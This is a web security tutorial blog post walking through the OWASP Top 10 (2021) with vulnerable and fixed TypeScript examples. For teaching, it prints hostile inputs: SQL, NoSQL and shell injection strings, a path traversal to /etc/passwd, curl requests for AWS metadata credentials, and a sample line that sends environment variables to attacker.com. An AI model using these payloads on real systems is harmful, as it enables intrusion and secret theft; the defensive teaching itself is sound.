OWASP Top 10: Web Vulnerabilities Explained

Welcome to Phase 2 of the Web Security Learning Roadmap! In Phase 1, you built the mental models: CIA Triad, STRIDE threat modeling, and defense in depth. Now it's time to get concrete.
The OWASP Top 10 is the most widely referenced list of critical web application security risks, maintained by the Open Web Application Security Project. It's updated every few years based on real-world breach data from thousands of organizations. The current version is OWASP Top 10: 2021.
This post gives you a developer-focused tour of all 10 categories — how each attack works, why developers fall into the trap, and how to defend against it.
Note: This post gives you a solid overview of each category. The subsequent deep-dive posts (SEC-5 through SEC-12) go deeper on specific topics: SQL Injection, XSS, CSRF/CORS, Password Storage, API Security, and more.
What You'll Learn
✅ Understand all 10 OWASP Top 10 (2021) vulnerability categories
✅ See how each attack works with real code examples
✅ Identify vulnerable patterns in your own code
✅ Apply concrete TypeScript defenses for each category
✅ Understand the risk severity and real-world impact
✅ Know which deep-dive posts to read next for each topic
The OWASP Top 10 (2021)
| # | Category | 2017 Rank | Key Risk |
|---|---|---|---|
| A01 | Broken Access Control | #5 | Users access what they shouldn't |
| A02 | Cryptographic Failures | #3 (Sensitive Data Exposure) | Data exposed in transit or at rest |
| A03 | Injection | #1 | Untrusted data executed as commands |
| A04 | Insecure Design | NEW | Flawed architecture bypassed by design |
| A05 | Security Misconfiguration | #6 | Default settings exploited |
| A06 | Vulnerable & Outdated Components | #9 | Known CVEs in dependencies |
| A07 | Identification & Auth Failures | #2 | Authentication bypassed or broken |
| A08 | Software & Data Integrity Failures | NEW (merge of #8) | Unsigned updates, insecure deserialization |
| A09 | Security Logging & Monitoring Failures | #10 | Attacks go undetected |
| A10 | Server-Side Request Forgery | NEW | Server fetches attacker-controlled URLs |
A01: Broken Access Control
Moved up from #5 to #1. 94% of applications tested had some form of broken access control. This is the most common critical vulnerability today.
What Is It?
Access control enforces that users can only do what they're authorized to do. When access controls are broken, users can:
- Access other users' data (horizontal privilege escalation)
- Access admin functionality (vertical privilege escalation)
- View or modify data without authentication
How the Attack Works
IDOR — Insecure Direct Object Reference:
// ❌ VULNERABLE: User can access any order by changing the ID
app.get('/api/orders/:id', async (req, res) => {
const order = await db.orders.findById(req.params.id);
res.json(order); // Returns ANY order — even other users'!
});
// Attacker simply tries:
// GET /api/orders/1001 (their own)
// GET /api/orders/1002 (someone else's!)
// GET /api/orders/1003 (someone else's!)Missing Function-Level Access Control:
// ❌ VULNERABLE: Admin route with no admin check
app.delete('/api/admin/users/:id', async (req, res) => {
// Only the frontend hides this button — backend has no check!
await db.users.delete(req.params.id);
res.json({ deleted: true });
});URL Manipulation to Bypass Restrictions:
// ❌ VULNERABLE: Path traversal allows reading arbitrary files
app.get('/files', (req, res) => {
const filename = req.query.name;
res.sendFile(`/var/app/uploads/${filename}`);
// Attacker requests: /files?name=../../etc/passwd
});The Defense
// ✅ SECURE: Always verify the resource belongs to the requesting user
app.get('/api/orders/:id', authenticate, async (req, res) => {
const order = await db.orders.findOne({
id: req.params.id,
userId: req.user.id, // ← Only return if it's THIS user's order
});
if (!order) {
return res.status(404).json({ error: 'Not found' });
}
res.json(order);
});
// ✅ SECURE: Role-based middleware for admin routes
const requireAdmin = (req: Request, res: Response, next: NextFunction) => {
if (req.user?.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
app.delete('/api/admin/users/:id', authenticate, requireAdmin, async (req, res) => {
await db.users.delete(req.params.id);
res.json({ deleted: true });
});
// ✅ SECURE: Sanitize file paths
import path from 'path';
app.get('/files', authenticate, (req, res) => {
const UPLOAD_DIR = '/var/app/uploads';
const requestedPath = path.resolve(UPLOAD_DIR, req.query.name as string);
// Ensure the resolved path is still inside the upload directory
if (!requestedPath.startsWith(UPLOAD_DIR)) {
return res.status(403).json({ error: 'Forbidden' });
}
res.sendFile(requestedPath);
});Key principles:
- Deny by default — require explicit permission grants
- Enforce access control server-side, not just in UI
- Use ownership checks:
WHERE user_id = :currentUser - Log access control failures
- Rate limit API endpoints to reduce automated probing
Deep Dive: Access control is covered in SEC-4 (Auth & Authorization Security).
A02: Cryptographic Failures
Previously called "Sensitive Data Exposure," this was renamed to focus on the root cause: failing to properly protect data using cryptography.
What Is It?
Data is exposed because it's:
- Transmitted without encryption (HTTP instead of HTTPS)
- Stored without encryption (plaintext passwords, credit cards)
- Encrypted with weak/deprecated algorithms (MD5, SHA1, DES)
- Encrypted correctly but with weak key management
How the Attack Works
Plaintext passwords in the database:
-- ❌ VULNERABLE: If the database is breached, all passwords are exposed
SELECT * FROM users;
-- id | email | password
-- 1 | alice@example | hunter2
-- 2 | bob@example | 123456Sensitive data in HTTP (no TLS):
GET http://example.com/login HTTP/1.1
Authorization: Basic dXNlcjpwYXNzd29yZA==Decoded: user:password — visible to anyone on the network.
Weak hashing (MD5 for passwords):
// ❌ VULNERABLE: MD5 is cryptographically broken and fast to brute-force
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
// Attackers use rainbow tables — the hash for "password" is always the sameSensitive data in URLs:
GET /api/reset-password?token=abc123&email=user@example.comTokens in URLs end up in server logs, browser history, and Referer headers.
The Defense
// ✅ SECURE: Use bcrypt for password hashing (adaptive, salted)
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12; // Adjust based on server performance
async function hashPassword(password: string): Promise<string> {
return bcrypt.hash(password, SALT_ROUNDS);
}
async function verifyPassword(password: string, hash: string): Promise<boolean> {
return bcrypt.compare(password, hash);
}
// ✅ SECURE: Store tokens securely, not in URLs
// Bad: GET /reset?token=abc123
// Good: POST /reset with token in request body or Authorization header
// ✅ SECURE: Encrypt sensitive fields at the application level
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
function encryptField(value: string, key: Buffer): string {
const iv = randomBytes(16);
const cipher = createCipheriv('aes-256-gcm', key, iv);
const encrypted = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()]);
const authTag = cipher.getAuthTag();
return [iv.toString('hex'), authTag.toString('hex'), encrypted.toString('hex')].join(':');
}Enforce HTTPS with HSTS:
// Express.js: Force HTTPS with Strict-Transport-Security header
app.use((req, res, next) => {
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});Deep Dive: Password storage is covered in detail in SEC-8 (bcrypt, Argon2, salting).
A03: Injection
Was #1 in 2017. Injection attacks occur when untrusted data is sent to an interpreter (SQL, shell, LDAP, XML, etc.) as part of a command or query.
What Is It?
When user input is embedded directly into a command without proper sanitization, an attacker can:
- Read or modify any database record
- Execute system commands on the server
- Bypass authentication entirely
How the Attack Works
SQL Injection — the classic:
// ❌ VULNERABLE: String concatenation in SQL query
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// Attacker inputs:
// email: ' OR '1'='1
// password: anything
// Resulting query:
// SELECT * FROM users WHERE email = '' OR '1'='1' AND password = 'anything'
// This returns ALL users — authentication bypassed!Destructive SQL Injection:
email: '; DROP TABLE users; --Results in:
SELECT * FROM users WHERE email = ''; DROP TABLE users; --'Command Injection:
// ❌ VULNERABLE: User input passed to shell command
import { exec } from 'child_process';
app.get('/ping', (req, res) => {
const host = req.query.host;
exec(`ping -c 1 ${host}`, (err, stdout) => {
res.send(stdout);
});
// Attacker inputs: 8.8.8.8; cat /etc/passwd
// Runs: ping -c 1 8.8.8.8; cat /etc/passwd
});NoSQL Injection (MongoDB):
// ❌ VULNERABLE: Attacker can inject MongoDB operators
const user = await db.users.findOne({
email: req.body.email, // "user@example.com"
password: req.body.password // { "$ne": null } ← Injection!
});
// Query becomes: { email: "user@example.com", password: { $ne: null } }
// Matches any user with that email — password bypass!The Defense
// ✅ SECURE: Parameterized queries (never string concatenation)
import { Pool } from 'pg';
const pool = new Pool();
async function findUser(email: string, password: string) {
// Parameters are ALWAYS treated as data, never as SQL
const result = await pool.query(
'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
[email, passwordHash]
);
return result.rows[0];
}
// ✅ SECURE: ORM with parameterization (Prisma example)
const user = await prisma.user.findUnique({
where: { email: email }, // Prisma handles parameterization
});
// ✅ SECURE: Command injection prevention — avoid shell, or use argument arrays
import { execFile } from 'child_process';
app.get('/ping', (req, res) => {
const host = req.query.host as string;
// Validate input first
if (!/^[a-zA-Z0-9.\-]+$/.test(host)) {
return res.status(400).json({ error: 'Invalid host' });
}
// execFile does NOT use shell — arguments can't be injected
execFile('ping', ['-c', '1', host], (err, stdout) => {
res.send(stdout);
});
});
// ✅ SECURE: NoSQL injection prevention — validate types
import { z } from 'zod';
const loginSchema = z.object({
email: z.string().email(),
password: z.string().min(1).max(128),
});
app.post('/login', async (req, res) => {
const parsed = loginSchema.safeParse(req.body);
if (!parsed.success) {
return res.status(400).json({ error: 'Invalid input' });
}
// Now email and password are guaranteed to be strings
const { email, password } = parsed.data;
const user = await db.users.findOne({ email, password });
});Deep Dive: SQL and NoSQL injection are covered extensively in SEC-5.
A04: Insecure Design
NEW in 2021. This is different from implementation bugs — it's about flaws baked into the architecture and design of a system. Even perfect code can't fix an insecure design.
What Is It?
Security was not considered during the design phase. Examples:
- A "forgot password" flow that resets to a predictable password
- An API that returns all user data and relies on the client to filter
- A multi-tenant app with no data isolation at the database level
- A payment flow that can be replayed to charge twice or not at all
How the Attack Works
Predictable password reset:
// ❌ INSECURE DESIGN: Reset token derived from email + timestamp
function generateResetToken(email: string): string {
const timestamp = Math.floor(Date.now() / 1000); // seconds
return crypto.createHash('md5').update(`${email}${timestamp}`).digest('hex');
}
// Attacker knows the email and can guess the timestamp within a few secondsOver-fetching API returns too much data:
// ❌ INSECURE DESIGN: Returns everything, relies on frontend to hide sensitive fields
app.get('/api/users/:id', async (req, res) => {
const user = await db.users.findById(req.params.id);
res.json(user); // Includes passwordHash, internalNotes, adminFlags...
});No rate limiting on sensitive operations:
// ❌ INSECURE DESIGN: OTP sent with no rate limit or attempt counting
// Attacker can request OTPs infinitely or brute-force a 6-digit code (1M attempts)The Defense
Insecure design must be fixed at the design level:
// ✅ SECURE: Cryptographically random reset tokens
import { randomBytes } from 'crypto';
function generateResetToken(): string {
return randomBytes(32).toString('hex'); // 256 bits of entropy
}
// Store hashed token in DB with expiry
async function createPasswordReset(email: string) {
const token = generateResetToken();
const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 minutes
await db.passwordResets.create({
email,
tokenHash: hashedToken,
expiresAt,
used: false,
});
return token; // Send raw token to user via email
}
// ✅ SECURE: Explicit field selection — never return full model
app.get('/api/users/:id', authenticate, async (req, res) => {
const user = await db.users.findById(req.params.id, {
select: { id: true, name: true, email: true, avatarUrl: true },
// passwordHash, adminFlags, etc. are NEVER selected
});
res.json(user);
});
// ✅ SECURE: Rate limit sensitive operations
import rateLimit from 'express-rate-limit';
const otpLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 OTP requests per 15 minutes per IP
message: { error: 'Too many requests, please try again later.' },
});
app.post('/api/auth/send-otp', otpLimiter, async (req, res) => { /* ... */ });Security design checklist for new features:
- What data does this feature access? Does it need all of it?
- Can an attacker replay this action? Add idempotency tokens.
- Can an attacker enumerate resources? Use UUIDs instead of sequential IDs.
- What's the maximum rate this endpoint should accept?
A05: Security Misconfiguration
The #1 source of breaches is not sophisticated exploits — it's misconfiguration. Default credentials, open S3 buckets, debug endpoints left in production.
What Is It?
- Default admin credentials not changed (
admin/admin) - Verbose error messages exposing stack traces
- Unnecessary features enabled (admin panel, XML parsers with entity expansion)
- Cloud storage buckets with public read access
- Missing HTTP security headers
- Directory listing enabled on web servers
How the Attack Works
Stack trace in production reveals internals:
// ❌ VULNERABLE response to a runtime error:
{
"error": "TypeError: Cannot read property 'id' of undefined",
"stack": "at /app/routes/users.js:47:23\n at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)",
"query": "SELECT * FROM users WHERE id = 'abc'",
"dbHost": "prod-db.internal:5432"
}Attacker now knows: file paths, database host, SQL schema, Express.js version.
Directory listing enabled:
GET /uploads/ HTTP/1.1
Index of /uploads/
user_data_export_2024.csv
admin_passwords_backup.txt
database_credentials.envDebug endpoint in production:
GET /debug/env HTTP/1.1
DATABASE_URL=postgres://admin:SuperSecret123@prod.db:5432/app
JWT_SECRET=my-very-secret-key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYThe Defense
// ✅ SECURE: Generic error responses in production
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
// Log the full error internally
console.error(err);
// logger.error({ err, url: req.url, method: req.method });
// Return generic message to client
if (process.env.NODE_ENV === 'production') {
return res.status(500).json({ error: 'An internal error occurred.' });
}
// In development, show details
return res.status(500).json({
error: err.message,
stack: err.stack,
});
});
// ✅ SECURE: Security headers (use helmet in Express.js)
import helmet from 'helmet';
app.use(helmet()); // Sets 11 security headers automatically
// ✅ SECURE: Disable X-Powered-By header (reveals Express.js)
app.disable('x-powered-by');
// ✅ SECURE: Remove debug routes in production
if (process.env.NODE_ENV !== 'production') {
app.get('/debug/env', (req, res) => res.json(process.env));
}Infrastructure checklist:
- Change all default credentials
- Disable directory listing on web servers
- Remove/restrict admin panels to internal networks
- Enable security headers (CSP, HSTS, X-Frame-Options)
- Audit cloud storage permissions regularly
- Disable XML external entity processing (XXE)
- Run regular configuration audits with tools like Mozilla Observatory
Deep Dive: Security headers and CSP are covered in SEC-11.
A06: Vulnerable and Outdated Components
94% of applications have at least one dependency with a known vulnerability. This category rose to #6 after major real-world breaches from dependency exploits.
What Is It?
Your application is only as secure as its weakest dependency. Vulnerabilities in libraries, frameworks, or infrastructure components can be exploited — even if your own code is perfectly written.
Famous examples:
- Log4Shell (CVE-2021-44228): A single JNDI lookup in the Log4j library allowed remote code execution. Affected millions of Java applications.
- Heartbleed (CVE-2014-0160): A bug in OpenSSL allowed reading server memory — including private keys.
- Equifax breach (2017): Apache Struts vulnerability (CVE-2017-5638) was patched 2 months before the breach. Equifax didn't apply it.
How the Attack Works
An attacker checks your public application's response headers, error messages, or package.json for version information, then searches CVE databases for known exploits.
# Attacker runs npm audit equivalent on a leaked package.json
curl https://target.com/package.json
# Or checks exposed endpoints:
GET /actuator/env # Spring Boot default endpoint — exposes everything
GET /.git/config # Git config exposed to web — reveals repo infoThe Defense
# Check for known vulnerabilities in Node.js projects
npm audit
npm audit fix # Auto-fix compatible updates
npm audit fix --force # Force updates (may include breaking changes)
# Use a dedicated tool for more thorough scanning
npx snyk test
npx snyk monitor # Continuous monitoring
# Keep dependencies updated
npx npm-check-updates # See which deps have updates// ✅ Best practice: Pin exact versions in production (package-lock.json)
// And keep a process for regular dependency updates:
// package.json
{
"scripts": {
"audit": "npm audit --audit-level=moderate",
"outdated": "npm outdated"
}
}Dependency security process:
- Run
npm auditin CI — fail the build on high/critical CVEs - Use Dependabot or Renovate for automated PR-based updates
- Subscribe to security advisories for your key dependencies
- Prefer well-maintained, actively-patched packages
Deep Dive: Dependency security and supply chain attacks are covered in SEC-12.
A07: Identification and Authentication Failures
Previously #2 "Broken Authentication." Weaknesses in authentication — how a system identifies who you are — allow attackers to assume other users' identities.
What Is It?
- Allowing weak or common passwords
- No protection against credential stuffing (automated login attempts with breached passwords)
- Weak password recovery (predictable questions, insecure reset links)
- Plaintext or weakly hashed passwords in database
- Missing or bypassable multi-factor authentication
- Session tokens that don't expire or aren't invalidated on logout
How the Attack Works
Credential Stuffing:
Attacker has 1 billion email/password pairs from previous breaches.
Writes a bot to try each pair against your login endpoint.
Even with 1% reuse rate → 10 million valid logins.Brute Force on Weak Lockout:
// ❌ VULNERABLE: No lockout after failed attempts
app.post('/login', async (req, res) => {
const user = await db.users.findByEmail(req.body.email);
if (user && user.password === req.body.password) {
req.session.userId = user.id;
return res.json({ success: true });
}
res.status(401).json({ error: 'Invalid credentials' });
// Attacker tries millions of passwords — no throttling
});Session Fixation:
// ❌ VULNERABLE: Session ID not regenerated after login
// If attacker plants a known session ID before login,
// after the victim logs in, the attacker's session ID is now authenticated
app.post('/login', async (req, res) => {
// ... validate credentials ...
req.session.userId = user.id; // Same session ID kept!
});The Defense
// ✅ SECURE: Enforce strong passwords
import { zxcvbn } from '@zxcvbn-ts/core';
function isPasswordStrong(password: string): boolean {
const result = zxcvbn(password);
return result.score >= 3; // 0-4, require at least 3
}
// ✅ SECURE: Account lockout with exponential backoff
const LOCKOUT_THRESHOLD = 5; // attempts
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 minutes
async function recordFailedLogin(email: string): Promise<boolean> {
const key = `login_attempts:${email}`;
const attempts = await redis.incr(key);
await redis.expire(key, 900); // 15 minutes
if (attempts >= LOCKOUT_THRESHOLD) {
await redis.set(`locked:${email}`, '1', 'EX', 900);
return true; // Account locked
}
return false;
}
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const isLocked = await redis.get(`locked:${email}`);
if (isLocked) {
return res.status(429).json({
error: 'Account temporarily locked. Try again in 15 minutes.',
});
}
const user = await db.users.findByEmail(email);
const valid = user && await bcrypt.compare(password, user.passwordHash);
if (!valid) {
await recordFailedLogin(email);
// Always same response — don't reveal if email exists
return res.status(401).json({ error: 'Invalid email or password' });
}
// ✅ Regenerate session ID after successful login (prevents fixation)
req.session.regenerate(() => {
req.session.userId = user.id;
res.json({ success: true });
});
});
// ✅ SECURE: Invalidate session on logout
app.post('/logout', (req, res) => {
req.session.destroy(() => {
res.clearCookie('connect.sid');
res.json({ success: true });
});
});Deep Dive: JWT security, OAuth2, and session management are covered in SEC-4.
A08: Software and Data Integrity Failures
NEW in 2021, combining Insecure Deserialization (#8 in 2017) and adding software supply chain attacks. This covers situations where code or data can be modified without detection.
What Is It?
- Unsigned software updates that can be swapped for malicious versions
- Insecure deserialization of untrusted data
- CI/CD pipelines that pull from untrusted sources
- Auto-updating plugins/packages without integrity verification
How the Attack Works
Insecure Deserialization:
// ❌ VULNERABLE: Deserializing untrusted data can execute arbitrary code
// In languages with rich serialization (Java, Python pickle, PHP unserialize)
// the deserialized object can trigger code execution
// Python example (for illustration):
// import pickle
// pickle.loads(user_supplied_data) # Can run arbitrary Python code!
// Node.js / JSON is safer but eval() is dangerous:
const userData = eval(`(${req.body.data})`); // ❌ Never use eval on user inputSupply Chain Attack via Malicious Package:
# Attacker publishes "coloors" (typosquatting "colors")
# or compromises a maintainer account to push a malicious update
# Your package.json pulls the compromised version:
npm install colors@latest
# The update phones home: curl https://attacker.com/steal?data=$(env)Unsigned Update Mechanism:
// ❌ VULNERABLE: Auto-download and execute script from CDN
const script = await fetch('https://cdn.example.com/update.js');
eval(await script.text()); // If CDN is compromised, you execute malicious codeThe Defense
// ✅ SECURE: Verify integrity with Subresource Integrity (SRI) for CDN scripts
// In HTML:
// <script
// src="https://cdn.example.com/library.js"
// integrity="sha384-abc123..."
// crossorigin="anonymous">
// </script>
// ✅ SECURE: Use JSON (not eval) for data exchange
const userData = JSON.parse(req.body.data); // Safe — JSON doesn't execute code
// ✅ SECURE: Validate deserialized data schema
import { z } from 'zod';
const userDataSchema = z.object({
name: z.string().max(100),
age: z.number().int().positive(),
role: z.enum(['user', 'moderator']), // Strict enum — can't inject 'admin'
});
const userData = userDataSchema.parse(JSON.parse(req.body.data));Supply chain defense:
# Lock exact versions to prevent unexpected updates
npm ci # Uses package-lock.json exactly — no floating versions
# Audit before installing
npm audit before npm install
# Use private registry proxy (Verdaccio, Artifactory) that caches approved versionsA09: Security Logging and Monitoring Failures
An enabling category: this doesn't directly cause breaches, but without proper logging and monitoring, breaches go undetected for months or years. The average breach dwell time (time from breach to detection) is 197 days.
What Is It?
- No logging of authentication events (login success/failure, password reset)
- No logging of access control failures
- Logs not monitored for suspicious patterns
- Log entries that don't include enough context (no timestamp, IP, user ID)
- Logs stored where the attacker can tamper with them
How the Attack Works
Without monitoring, an attacker can:
- Test thousands of SQL injection payloads — you never know
- Perform credential stuffing for weeks — you never know
- Exfiltrate data slowly over months — you never know
- The Equifax breach took 78 days to detect, during which 147M records were stolen
The Defense
// ✅ SECURE: Structured security event logging
import winston from 'winston';
const securityLogger = winston.createLogger({
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'security.log' }),
// In production: send to centralized logging (Datadog, Splunk, CloudWatch)
],
});
// Log security events with full context
function logSecurityEvent(event: {
type: 'login_success' | 'login_failure' | 'access_denied' | 'password_reset' | 'suspicious_activity';
userId?: string;
email?: string;
ip: string;
userAgent?: string;
details?: Record<string, unknown>;
}) {
securityLogger.warn({
timestamp: new Date().toISOString(),
...event,
});
}
// Use it in your route handlers:
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const ip = req.ip;
const userAgent = req.headers['user-agent'];
const user = await authenticateUser(email, password);
if (!user) {
logSecurityEvent({ type: 'login_failure', email, ip, userAgent });
return res.status(401).json({ error: 'Invalid credentials' });
}
logSecurityEvent({ type: 'login_success', userId: user.id, email, ip, userAgent });
// ... continue ...
});
// Log access control failures
app.get('/api/orders/:id', authenticate, async (req, res) => {
const order = await db.orders.findOne({ id: req.params.id, userId: req.user.id });
if (!order) {
logSecurityEvent({
type: 'access_denied',
userId: req.user.id,
ip: req.ip,
details: { resource: 'order', resourceId: req.params.id },
});
return res.status(404).json({ error: 'Not found' });
}
res.json(order);
});Alerting on suspicious patterns (conceptual):
// Monitor logs for anomalies:
// - >10 login failures from the same IP in 5 minutes → alert + temporary block
// - Access denied errors from an authenticated user → investigate IDOR probing
// - Large data exports (>10,000 records) → alert for data exfiltration
// - Login from unusual country/IP for a user → alert for account takeoverRelated: Observability was mentioned in SEC-2's security checklist. Use structured logging from day one.
A10: Server-Side Request Forgery (SSRF)
NEW in 2021, added based on industry survey data. SSRF vulnerabilities are rare but high impact — especially in cloud environments.
What Is It?
SSRF occurs when a server fetches a URL that the attacker controls. The server then makes requests on the attacker's behalf — from inside your network perimeter.
This is dangerous because:
- Cloud metadata APIs (AWS
169.254.169.254, Azure169.254.169.254) are accessible from inside the cloud but not from the internet - Internal services (databases, admin panels, Redis) often have no authentication because they're "not exposed to the internet"
- The server's requests come from a trusted network location
How the Attack Works
// ❌ VULNERABLE: Server fetches user-provided URL without validation
app.post('/api/preview', async (req, res) => {
const { url } = req.body;
const response = await fetch(url); // Attacker controls this!
const content = await response.text();
res.send(content);
});
// Attacker provides:
// url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
// Server fetches AWS metadata → returns AWS access keys!
// Or:
// url: "http://localhost:6379" → Talks to Redis (no auth)
// url: "http://internal-admin.company.com/admin" → Bypasses network firewall
// url: "file:///etc/passwd" → Reads local filesystemThe AWS metadata endpoint attack:
# From inside an EC2 instance (or an SSRF vulnerable app):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: role-name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Returns: AccessKeyId, SecretAccessKey, Token
# Attacker now has AWS credentials!The Defense
// ✅ SECURE: Validate and restrict URLs before fetching
import dns from 'dns/promises';
import { URL } from 'url';
const BLOCKED_IP_RANGES = [
'10.0.0.0/8', // Private network
'172.16.0.0/12', // Private network
'192.168.0.0/16', // Private network
'127.0.0.0/8', // Loopback
'169.254.0.0/16', // Link-local (AWS metadata!)
'::1', // IPv6 loopback
];
function isPrivateIP(ip: string): boolean {
// Use a library like 'ipaddr.js' for production use
return BLOCKED_IP_RANGES.some(range => {
// Simplified — use ipaddr.js or similar in production
return ip.startsWith('127.') || ip.startsWith('10.') ||
ip.startsWith('192.168.') || ip.startsWith('169.254.');
});
}
async function safeSSRFFetch(url: string): Promise<Response> {
// 1. Parse and validate URL
let parsed: URL;
try {
parsed = new URL(url);
} catch {
throw new Error('Invalid URL');
}
// 2. Only allow HTTP/HTTPS (block file://, ftp://, etc.)
if (!['http:', 'https:'].includes(parsed.protocol)) {
throw new Error('Only HTTP/HTTPS URLs are allowed');
}
// 3. Block private IPs — resolve hostname to IP first
const { address } = await dns.lookup(parsed.hostname);
if (isPrivateIP(address)) {
throw new Error('Access to internal resources is not allowed');
}
// 4. Fetch with timeout to prevent slow loris
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 5000);
try {
return await fetch(url, {
signal: controller.signal,
redirect: 'error', // Don't follow redirects (could redirect to internal IP)
});
} finally {
clearTimeout(timeoutId);
}
}
// ✅ ALTERNATIVE: Use an allowlist instead of blocklist
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
function isAllowedURL(url: string): boolean {
try {
const parsed = new URL(url);
return ALLOWED_DOMAINS.includes(parsed.hostname);
} catch {
return false;
}
}Infrastructure-level protection (stronger than code):
- Use IMDSv2 on AWS EC2 (requires session token — mitigates SSRF access to metadata)
- Block outbound requests at the network/firewall level for services that shouldn't make them
- Run services with minimal IAM permissions (Principle of Least Privilege from SEC-1)
The OWASP Top 10 in One Table
| # | Vulnerability | Primary Defense | Deep Dive Post |
|---|---|---|---|
| A01 | Broken Access Control | Ownership checks, deny by default, RBAC | SEC-4 |
| A02 | Cryptographic Failures | bcrypt/Argon2, TLS, AES-256 | SEC-8, SEC-9 |
| A03 | Injection | Parameterized queries, input validation | SEC-5 |
| A04 | Insecure Design | Threat modeling, security design review | SEC-2 |
| A05 | Security Misconfiguration | Hardening checklists, security headers | SEC-11 |
| A06 | Vulnerable Components | npm audit, Dependabot, SCA tools | SEC-12 |
| A07 | Auth Failures | Strong passwords, MFA, lockout, bcrypt | SEC-4, SEC-8 |
| A08 | Integrity Failures | SRI, signed packages, schema validation | SEC-12 |
| A09 | Logging Failures | Structured security logging, SIEM | All posts |
| A10 | SSRF | URL allowlists, DNS rebinding prevention | SEC-10 |
Building an OWASP Checklist for Code Review
Here's a practical checklist to use when reviewing your own code or a pull request:
A01 – Access Control
- Every endpoint checks authentication
- Every resource access includes ownership verification
- Sensitive actions require appropriate role
- No sequential IDs for sensitive resources (use UUIDs)
A02 – Cryptography
- Passwords hashed with bcrypt/Argon2 (never MD5/SHA1)
- Sensitive data encrypted at rest
- TLS enforced with HSTS
- Tokens are cryptographically random (not predictable)
A03 – Injection
- All database queries use parameterized statements or ORM
- No
eval()or dynamic code execution on user input - Shell commands use argument arrays, not string concatenation
- User input is type-validated before use
A05 – Configuration
- No stack traces in production error responses
- Security headers present (use helmet)
- Debug endpoints disabled in production
- No credentials in source code
A07 – Authentication
- Password strength enforced
- Failed login attempts are rate-limited
- Session regenerated after login
- Sessions invalidated on logout
A09 – Logging
- Authentication events logged (success + failure)
- Access denied events logged
- Log entries include timestamp, IP, user ID
Summary and Key Takeaways
The OWASP Top 10 represents the most critical and common web security risks, backed by real breach data. Here's what to remember:
Learning Outcomes:
✅ A01 (Access Control) is the most common — always verify resource ownership server-side
✅ A03 (Injection) is always prevented by parameterized queries — never concatenate user input into queries
✅ A02 (Cryptography) means using strong algorithms — bcrypt for passwords, AES-256 for data, TLS for transit
✅ A04 (Insecure Design) can't be patched after the fact — security must be designed in from the start
✅ A07 (Auth Failures) requires rate limiting, session management, and strong password policies working together
✅ A10 (SSRF) is particularly dangerous in cloud environments — never fetch attacker-controlled URLs
✅ A09 (Logging) is your safety net — without it, you won't know you've been breached
The right mental model:
Security is not a checklist you run once — it's a mindset applied at every layer, from architecture decisions to code reviews to production monitoring.
What's Next?
This phase gave you a working understanding of all 10 OWASP categories. The deep-dive posts go much deeper:
- SEC-4: Authentication & Authorization Security (JWT, OAuth2, Session Security)
- SEC-5: SQL Injection & NoSQL Injection — Attack and Defense
- SEC-6: Cross-Site Scripting (XSS) — Stored, Reflected, DOM-Based
- SEC-7: CSRF, CORS & Same-Origin Policy
- SEC-8: Secure Password Storage (bcrypt, Argon2, salting)
- SEC-9: HTTPS, TLS & Certificate Management
- SEC-10: API Security (Rate Limiting, Input Validation, OAuth Scopes)
- SEC-11: Security Headers & Content Security Policy
- SEC-12: Dependency Security & Supply Chain Attacks
You now know enough to identify OWASP vulnerabilities in code reviews and design discussions. The deep-dive posts will make you dangerous in each specific area.
This is post #3 in the Web Security Learning Roadmap series.
📬 Subscribe to Newsletter
Get the latest blog posts delivered to your inbox every week. No spam, unsubscribe anytime.
We respect your privacy. Unsubscribe at any time.
💬 Comments
Sign in to leave a comment
We'll never post without your permission.